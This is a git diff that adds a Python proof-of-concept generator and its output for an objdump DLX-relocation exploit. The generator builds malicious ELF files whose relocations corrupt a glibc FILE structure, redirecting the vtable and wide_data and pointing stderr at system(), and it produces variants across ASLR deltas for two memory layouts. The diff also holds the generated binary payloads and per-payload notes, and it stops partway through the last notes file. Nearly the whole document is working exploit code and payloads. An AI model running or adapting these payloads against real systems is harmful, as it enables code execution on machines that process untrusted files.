-0,0 +1,157 @@ +import argparse +import importlib.util +from pathlib import Path + + +HERE = Path(__file__).resolve().parent +spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py") +builder_mod = importlib.util.module_from_spec(spec) +spec.loader.exec_module(builder_mod) + +R_DLX_NONE = 0 +R_DLX_RELOC_16 = 2 + +EXPECTED_RELOCS = 25 +DEBUG_SIZE = 144 + +OFF_IO = -0x46A0 +OFF_SEC = 0xB20 +RBASE = 0x1F0 + +FILE_FLAGS = OFF_IO +FILE_BUF_BASE = OFF_IO + 0x20 +FILE_SYSTEM_SLOT = OFF_IO + 0x68 +FILE_WIDE_DATA = OFF_IO + 0xA0 +FILE_VTABLE = OFF_IO + 0xD8 +SECTION_SIZE_LOW = OFF_SEC + 0x38 +SECTION_SIZE_HIGH = OFF_SEC + 0x3C + +BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00) +WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,) +STDERR_TO_SYSTEM_BE32_DELTAS = (0x7042E500, 0x7043E4FF) +FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002 + +LAYOUTS = ( + { + "name": "orig", + "off_io": OFF_IO, + "off_sec": OFF_SEC, + "rbase": RBASE, + "buf_deltas": BUF_TO_FILE_BE32_DELTAS, + "wide_deltas": WIDE_TO_FAKE_BE32_DELTAS, + "system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS, + }, + { + "name": "wsl2404", + "off_io": -0x3690, + "off_sec": 0xBB0, + "rbase": 0x220, + "buf_deltas": (0x702FFF00, 0x6F300000), + "wide_deltas": WIDE_TO_FAKE_BE32_DELTAS, + "system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS, + }, +) + + +def add_pi16_reloc(chain, target, delta, note): + actual_idx = len(chain.relocs) + (2 if target < 0 else 0) + chain._set_address_field(actual_idx, target & 0xFFFFFFFF) + if target < 0: + chain._patch_negative_address_for_index(actual_idx) + idx = len(chain.relocs) + chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16)) + chain.notes.append((idx, target, delta & 0xFFFFFFFF, note)) + chain._set_address_field(idx, target & 0xFFFFFFFF) + + +def base_memory(flag_byte4, off_io, off_sec, rbase): + memory_base = off_io - 0x100 + memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80) + memory = bytearray(memory_end - memory_base) + flags_idx = off_io - memory_base + memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0]) + return memory_base, memory + + +def build(out_dir): + out_dir.mkdir(parents=True, exist_ok=True) + outputs = [] + for layout in LAYOUTS: + off_io = layout["off_io"] + off_sec = layout["off_sec"] + rbase = layout["rbase"] + file_flags = off_io + file_buf_base = off_io + 0x20 + file_system_slot = off_io + 0x68 + file_wide_data = off_io + 0xA0 + file_vtable = off_io + 0xD8 + section_size_low = off_sec + 0x38 + section_size_high = off_sec + 0x3C + + for flag_byte4 in (0x05, 0x06): + for buf_delta in layout["buf_deltas"]: + for wide_delta in layout["wide_deltas"]: + for system_delta in layout["system_deltas"]: + memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase) + chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory) + + chain.write_bytes4(file_flags, b"P\x00\x00\x00") + chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff") + chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff") + chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable") + chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system") + chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data") + add_pi16_reloc( + chain, + file_vtable, + FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16, + "FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow", + ) + + while len(chain.relocs) < EXPECTED_RELOCS: + chain.relocs.append((0, 0, R_DLX_NONE)) + chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE")) + if len(chain.relocs) != EXPECTED_RELOCS: + raise ValueError(f"unexpected reloc count {len(chain.relocs)}") + + name = ( + f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_" + f"b{buf_delta:08x}_s{system_delta:08x}" + ) + out = out_dir / f"{name}.bin" + notes = out_dir / f"{name}.notes" + out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs)) + notes.write_text( + "\n".join( + [ + f"layout={layout['name']}", + f"flag_byte4=0x{flag_byte4:02x}", + f"buf_delta=0x{buf_delta:08x}", + f"wide_delta=0x{wide_delta:08x}", + f"system_delta=0x{system_delta:08x}", + "command=P", + f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}", + "", + ] + + [ + f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}" + for idx, target, symv, note in chain.notes + ] + ) + + "\n", + encoding="ascii", + ) + outputs.append(out) + return outputs + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--out-dir", type=Path, default=HERE / "payloads") + args = ap.parse_args() + for out in build(args.out_dir): + print(out.resolve()) + + +if __name__ == "__main__": + main() diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..9211d4ea4cacea5abe06080ef93c3442f75c92f3 GIT binary patch literal 1280 zcmd5*O-mb56g`uf7-NlJX=D8WkrosJv2S9lqNP%)E)*iTuv9?}O|{Su@kMA+Xn#WY zaod&n19aumpHQezH6) z`@M1hIf@io>fU=*B&Gp74J2j&C+&Hs8$eQc4QLTO0#c%H0PV^(7SM*8X zaUwXnz5vi4;y{SE0~d?^7w&)`MW+SN^N3DQz#Z0cp2DA}C$WB;;m;WUF7lh0KWq4N zhQH6~4;uX;qyNO{kNg{^(%66A@Q)e(;_mCKxPQX%^FK6w|ErRmMq~Xs!@pqo7s=&Z zqw_4WmWcRDKGu=oEs`Fqj; literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.notes new file mode 100644 index 0000000..1df0678 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.notes @@ -0,0 +1,33 @@ +layout=orig +flag_byte4=0x05 +buf_delta=0xef210000 +wide_delta=0x4fff0000 +system_delta=0x7042e500 +command=P +off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0 + +000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0 +003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0 +006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58 +007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58 +008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c +009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c +010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..a25a7878bb2a4b91ea0e50ce51ec95dd7a9099b0 GIT binary patch literal 1280 zcmd5*%Ss$U6g@rN+A~I@&P0td5Q2h&Fj_sMPSB8mL>CDd$RgqhK5%@1nlLqjLBV`N z_Rcn|kPpz6OFuzKmM+}o1G4Cx+mD&H$ik%;s?I&ooOIP-I)O%Q9tMH^oV{6^om{w`a~}Q zk5l2*^@o5b5e`K7f8b(?|H2*cP;^@GeV^!LL+&t7au-)aKNIyf!{1@}yU710{5iwl zYxw((`ctF+%%~3<_2ECysWkULYWT+tf8q1&b@F^uhM)i8*7;v8h`YJ|tl^(G{BOzS zUgP^*U@j5!4nQ@p2w6q~yJgZaxQ5BL5Lf6si; literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.notes new file mode 100644 index 0000000..0bf618e --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.notes @@ -0,0 +1,33 @@ +layout=orig +flag_byte4=0x05 +buf_delta=0xef210000 +wide_delta=0x4fff0000 +system_delta=0x7043e4ff +command=P +off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0 + +000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0 +003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0 +006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58 +007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58 +008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c +009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c +010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..b41ae7053f0077b0165dde1470657181a5e3b935 GIT binary patch literal 1280 zcmd5*%Ss$k5IsHJIy1g?qVW+>P*50{?L!hnJc#SwhqXaaeNcZ39mJx~RTg_viZ$Ggit%Y}U#t<3z%~@oR(r za{y^n$J%EVq{aX{3#7&YC+m5C)_^ME$3V5<36PfjI*=i+T>`R#%Rr4_i7vPb)Di6i zpkDA0Xpr}Q0gX2KKcGqSS3tAmFMt;2oiQNCyfY5GVE!*pr&aRDK%3-GfR~aV0oqf+ z(RBoX&Jepod>q&;@n1LrKZ;5Vp63yrmVi5qlRS;fzTb&@jiIkM^iAY<34PAcw;B2l zqyEaMcN_IyquzhpBjd*N=MDX9LtosTx=!kc4L$$EgYSPg@3)WpPaFDKLqA6@=Ng^o zJY%tlF9tN`+#}zDx_$$#pk3%9^dR(G=ppD~=n?2qmZZ$OqCiohC{ffXiWF6fGDV$B zohyB)bE$KA{|c4z_X-MI<<0$_wNGESzoD>K{``RJA73gPn<(hYUVtCND4g*rAUh@= z-E+D5vQv>oahi$bK60;d6p0eG9AoZ3Ch20lFTP73|D1^#y6lDU&@A?{&Pl51Ty=j2 f+0A^&31apFA0 FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..9184d6d05659464ae4a10d3c9109c1037107cffa GIT binary patch literal 1280 zcmd5*O-md>5Ph>Vx*ula$C^#lfPn}JEUfnI8Wjx*i1Cnsf(IolXe65`_=UZKVj%tm z?|Stl{(yM$n4b_ZM-Luz_b|SiuN|8la!f(@t5@}=sP3u$KK0?9m9h|<_3@N`B4FS6 zxvIavL>jHJ_P=sc`{PK&Qli0$q$d<3NFNX9DPE{DQahNaDvpQQ{}SV~LLf zPg23v^#p+45c@*>JFr;dzpw)yib@Nf=MkN*fIIY)JdIxi=ZSpI(B}<(2l;J6UoiAV zL*HZMpBnjoBmdmUzxeY^+Ku}!8Tvs(U)i3#PM&YX(DOgsJO7&*zkFPO($G&E`uF5= zuhD(Z&=-sNTtH*aIr1&Y>mg_b?Lt?etI)&Hub@YuN1?}3juGFEv$U4U|9ES9ZTHt!;kULV2gYevj+@jmD=Hlyze#z}3(Td;AxW z8Iu*gb9wnPQ;|h}nt|jza;|X{i4wU2ea=7La*6T1_)F^e_e{)i$y^8z&0;O FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..9211d4ea4cacea5abe06080ef93c3442f75c92f3 GIT binary patch literal 1280 zcmd5*O-mb56g`uf7-NlJX=D8WkrosJv2S9lqNP%)E)*iTuv9?}O|{Su@kMA+Xn#WY zaod&n19aumpHQezH6) z`@M1hIf@io>fU=*B&Gp74J2j&C+&Hs8$eQc4QLTO0#c%H0PV^(7SM*8X zaUwXnz5vi4;y{SE0~d?^7w&)`MW+SN^N3DQz#Z0cp2DA}C$WB;;m;WUF7lh0KWq4N zhQH6~4;uX;qyNO{kNg{^(%66A@Q)e(;_mCKxPQX%^FK6w|ErRmMq~Xs!@pqo7s=&Z zqw_4WmWcRDKGu=oEs`Fqj; literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.notes new file mode 100644 index 0000000..ebcca2d --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.notes @@ -0,0 +1,33 @@ +layout=orig +flag_byte4=0x06 +buf_delta=0xef210000 +wide_delta=0x4fff0000 +system_delta=0x7042e500 +command=P +off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0 + +000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0 +003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0 +006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58 +007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58 +008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c +009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c +010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..a25a7878bb2a4b91ea0e50ce51ec95dd7a9099b0 GIT binary patch literal 1280 zcmd5*%Ss$U6g@rN+A~I@&P0td5Q2h&Fj_sMPSB8mL>CDd$RgqhK5%@1nlLqjLBV`N z_Rcn|kPpz6OFuzKmM+}o1G4Cx+mD&H$ik%;s?I&ooOIP-I)O%Q9tMH^oV{6^om{w`a~}Q zk5l2*^@o5b5e`K7f8b(?|H2*cP;^@GeV^!LL+&t7au-)aKNIyf!{1@}yU710{5iwl zYxw((`ctF+%%~3<_2ECysWkULYWT+tf8q1&b@F^uhM)i8*7;v8h`YJ|tl^(G{BOzS zUgP^*U@j5!4nQ@p2w6q~yJgZaxQ5BL5Lf6si; literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.notes new file mode 100644 index 0000000..ebb5905 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.notes @@ -0,0 +1,33 @@ +layout=orig +flag_byte4=0x06 +buf_delta=0xef210000 +wide_delta=0x4fff0000 +system_delta=0x7043e4ff +command=P +off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0 + +000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0 +003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0 +006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58 +007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58 +008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c +009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c +010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..b41ae7053f0077b0165dde1470657181a5e3b935 GIT binary patch literal 1280 zcmd5*%Ss$k5IsHJIy1g?qVW+>P*50{?L!hnJc#SwhqXaaeNcZ39mJx~RTg_viZ$Ggit%Y}U#t<3z%~@oR(r za{y^n$J%EVq{aX{3#7&YC+m5C)_^ME$3V5<36PfjI*=i+T>`R#%Rr4_i7vPb)Di6i zpkDA0Xpr}Q0gX2KKcGqSS3tAmFMt;2oiQNCyfY5GVE!*pr&aRDK%3-GfR~aV0oqf+ z(RBoX&Jepod>q&;@n1LrKZ;5Vp63yrmVi5qlRS;fzTb&@jiIkM^iAY<34PAcw;B2l zqyEaMcN_IyquzhpBjd*N=MDX9LtosTx=!kc4L$$EgYSPg@3)WpPaFDKLqA6@=Ng^o zJY%tlF9tN`+#}zDx_$$#pk3%9^dR(G=ppD~=n?2qmZZ$OqCiohC{ffXiWF6fGDV$B zohyB)bE$KA{|c4z_X-MI<<0$_wNGESzoD>K{``RJA73gPn<(hYUVtCND4g*rAUh@= z-E+D5vQv>oahi$bK60;d6p0eG9AoZ3Ch20lFTP73|D1^#y6lDU&@A?{&Pl51Ty=j2 f+0A^&31apFA0 FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..9184d6d05659464ae4a10d3c9109c1037107cffa GIT binary patch literal 1280 zcmd5*O-md>5Ph>Vx*ula$C^#lfPn}JEUfnI8Wjx*i1Cnsf(IolXe65`_=UZKVj%tm z?|Stl{(yM$n4b_ZM-Luz_b|SiuN|8la!f(@t5@}=sP3u$KK0?9m9h|<_3@N`B4FS6 zxvIavL>jHJ_P=sc`{PK&Qli0$q$d<3NFNX9DPE{DQahNaDvpQQ{}SV~LLf zPg23v^#p+45c@*>JFr;dzpw)yib@Nf=MkN*fIIY)JdIxi=ZSpI(B}<(2l;J6UoiAV zL*HZMpBnjoBmdmUzxeY^+Ku}!8Tvs(U)i3#PM&YX(DOgsJO7&*zkFPO($G&E`uF5= zuhD(Z&=-sNTtH*aIr1&Y>mg_b?Lt?etI)&Hub@YuN1?}3juGFEv$U4U|9ES9ZTHt!;kULV2gYevj+@jmD=Hlyze#z}3(Td;AxW z8Iu*gb9wnPQ;|h}nt|jza;|X{i4wU2ea=7La*6T1_)F^e_e{)i$y^8z&0;O FILE fake wide vtable +013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..eb0f225ae2be3a6e884d62ccefde92d483d2dcc5 GIT binary patch literal 1280 zcmd5*%}N_l7(J7T`B78T#HMNsE-JJTh~9~<7AY;3)QiN71C{QnV@h9Qquo zL!U#R!~0ii*ACh!ZPu#$TN^uj-x?^jYV|&@55Kp+R#DRJmXF&(6rAxcATuUAyytTB zWv0Rv#z_j%d7LNb9qFzxm#4z{$GaeNMwBgeygn0C+%gx!gJrRnbxJb8%~ALKGMmMK b6J*)Te5`w+{|JA#EXkfO_Ze?`+&}w29TtA0 literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes new file mode 100644 index 0000000..e1c8e29 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes @@ -0,0 +1,33 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x7042e500 +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 + +000 target=0x26b sym=0x00ffffff patch 